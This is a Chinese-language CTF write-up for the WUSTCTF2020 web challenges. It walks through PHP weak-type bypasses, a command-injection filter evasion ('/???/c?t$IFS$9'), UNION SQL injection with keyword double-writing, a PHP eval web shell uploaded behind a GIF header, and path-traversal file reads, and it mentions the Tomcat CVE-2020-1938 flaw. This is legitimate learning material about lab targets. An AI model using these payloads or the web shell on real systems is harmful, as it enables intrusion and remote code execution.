码迷,mamicode.com
首页 > Web开发 > 详细

[WUSTCTF2020]Web Writeup(待补充)

时间:2020-04-08 19:17:50      阅读:363      评论:0      收藏:0      [点我收藏+]

标签:文件中   上传   弱类型   意思   yourself   nio   sch   说明   文件的   

Q1 朴实无华

扫目录可以发现:robots.txt

技术图片

给了一个页面:

技术图片

访问,人晕了:

技术图片

看报文内容发现了问题:

技术图片

访问fl4g.php,人更晕了:

技术图片

看来是编码问题了……不管了,至少代码没乱。来审计一下:

考点1:intval()绕过

来看第一个if:

if (isset($_GET[‘num‘])){
    $num = $_GET[‘num‘];
    if(intval($num) < 2020 && intval($num + 1) > 2021){

了解一下这个函数:

技术图片

技术图片

有意思的是,如果传入的是科学计数法a×10^n的形式。

传入的是数型,会整个输出。

传入的是字符串,只会取e前面的数据输出:

技术图片

因为php的弱类型特点,字符串型的变量若和数型变量运算,会被自动转换为数型变量。intval函数里的运算也符合这个特性,来看下面的例子。

技术图片

知道了这个性质,第一个基本就是白给了。?num=2e4直接抬走

技术图片

第一个过去了。

考点2:md5绕过

//level 2
if (isset($_GET[‘md5‘])){
   $md5=$_GET[‘md5‘];
   if ($md5==md5($md5))

要求我们找到一个值,其值与其md5的值相等。这里用了==,弱类型比较。

和上例类似,若两个字符串比较的时候都是0e开头,且后面都是数字。直接会当科学计数法表示的数型来比较。

0e开头的科学计数法……无论后面是啥,都是0。0==0,所以返回true.

技术图片

那这道题也简单,我们写个脚本:

构造”0e+依次增长的数字“这样的字符串,分别计算他们的md5,直到找到一个md5符合”0e开头+后面全数字“。

便能找到我们要传的字符串:

import hashlib

for i in range(0,1000000000):
    a = ‘0e‘+str(i)
    b = hashlib.md5(str(a).encode("utf-8")).hexdigest()
    if b[:2]==‘0e‘ and b[2:].isdigit():
        print(a)
        break

睡了一觉起来有结果了……

技术图片

验证一下:

技术图片

所以传参:?num=2e4&md5=0e215962017,抬走:

技术图片

考点3:命令执行bypass

if (isset($_GET[‘get_flag‘])){
    $get_flag = $_GET[‘get_flag‘];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "xxxx";
        system($get_flag);
    }else{

两个条件,

if(!strstr($get_flag," "))---->不能有空格

str_ireplace("cat", "wctf2020", $get_flag);----->cat会被替换

先跑个ls看一下,flag应该在这个超长的文件里:

技术图片

这俩绕过都老生常谈了,网上随便搜都能找到方法:

1.绕空格:通配符安排 $IFS$9

2.cat绕过:ca\t,/???/c?t,tac,sort等等

所以最终payload:

?num=2e4&md5=0e215962017&get_flag=/???/c?t$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

技术图片

Q2 颜值成绩查询

技术图片

技术图片

考点:SQL注入bypass

看着就像sql,先fuzz一下。发现直接解order by会报错。怀疑可能过滤了空格。

/**/成功绕过:

技术图片

order by 4的时候报错.说明三列。

继续fuzz发现union select执行不了。select可以执行,union不行。说明union被过滤,尝试双写绕过。成功。

接下来就正常手工注入了:

?stunum=999/**/uunionnion/**/select/**/1,2,3%23

技术图片

2,3位有回显。

999/**/uunionnion/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23  表名

技术图片

999/**/uunionnion/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name=‘flag‘%23  列名

技术图片

这个双回显也该派上用场了:

999/**/uunionnion/**/select/**/1,flag,value/**/from/**/flag%23

技术图片

起飞。

Q3 CV Maker

进去,先注册个号:

技术图片

登录之后直接来到了,头像……:

技术图片

这上传也太直白了。

考点:简单文件上传bypass

直接上传php会报错:

技术图片

exif_imagetype,看来是个文件头检测,就不写细节了,可以参照之前写过的一题:https://www.cnblogs.com/keelongz/p/12615229.html#section-1

祖传payload试一波:

GIF89a
<?
@eval($_POST[1]);
?>

上传:

技术图片

然后我的.php就这么传上去了……传……上去了??

后缀不用绕过???我user.ini和.htacess都准备好了,????

还很贴心的给了路径:

技术图片

并且可以执行:

技术图片

行吧。

技术图片

技术图片

Q4 easyweb(待补充)

技术图片

上传后给出链接:

技术图片

访问后发现是任意文件下载,这个file参数可控:

读个东西试试,暴露了绝对路径:

也暴露了站点是部署在tomcat下的Java Web,这站点又有上传点……

作为挖洞时间2月半的捡漏five,我觉得这个题难道是考幽灵猫0day?

技术图片

7层目录……照着修改,果然可以本地文件下载:

技术图片

不过找不到flag……有点难顶。

法1 CVE-2020-1938(待补充)

预期解果然是这个洞,虽然我没打通。

先来了解一下,2月爆出来的tomcat幽灵??漏洞:

http://blog.nsfocus.net/cve-2020-1938/

首先可以文件包含,如果包含了一个??,会解析并执行,直接就可以getshell。

本来直接想用msf做个反向shell的,但是buu靶机内网环境。无法监听。

而且如果包含反向shell,不知道为什么BUU会链接重置……

回头打好了再试试。这个待补充。

法2 读.bash.history(尚未复现)

这个实在是骚……

Bash shell在“~/.bash_history”(“~/”表示用户目录)文件中保存了500条使用过的命令,这样能使你输入使用过的长命令变得容易。每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件。

所以有师傅就通过etc/passwd读出了部署用户,然后通过读bash_history读到了其部署文件的指令,也读到了flag的位置,直接下载拿下。

不过BUU下没有复现成功,估计是因为docker部署的环境钻不了这个空子?

如果能用这个方法复现的师傅请赐教。

Q5 Train Yourself To Be Godly(待补充)

还没复现,待补充

[WUSTCTF2020]Web Writeup(待补充)

标签:文件中   上传   弱类型   意思   yourself   nio   sch   说明   文件的   

原文地址:https://www.cnblogs.com/keelongz/p/12661774.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!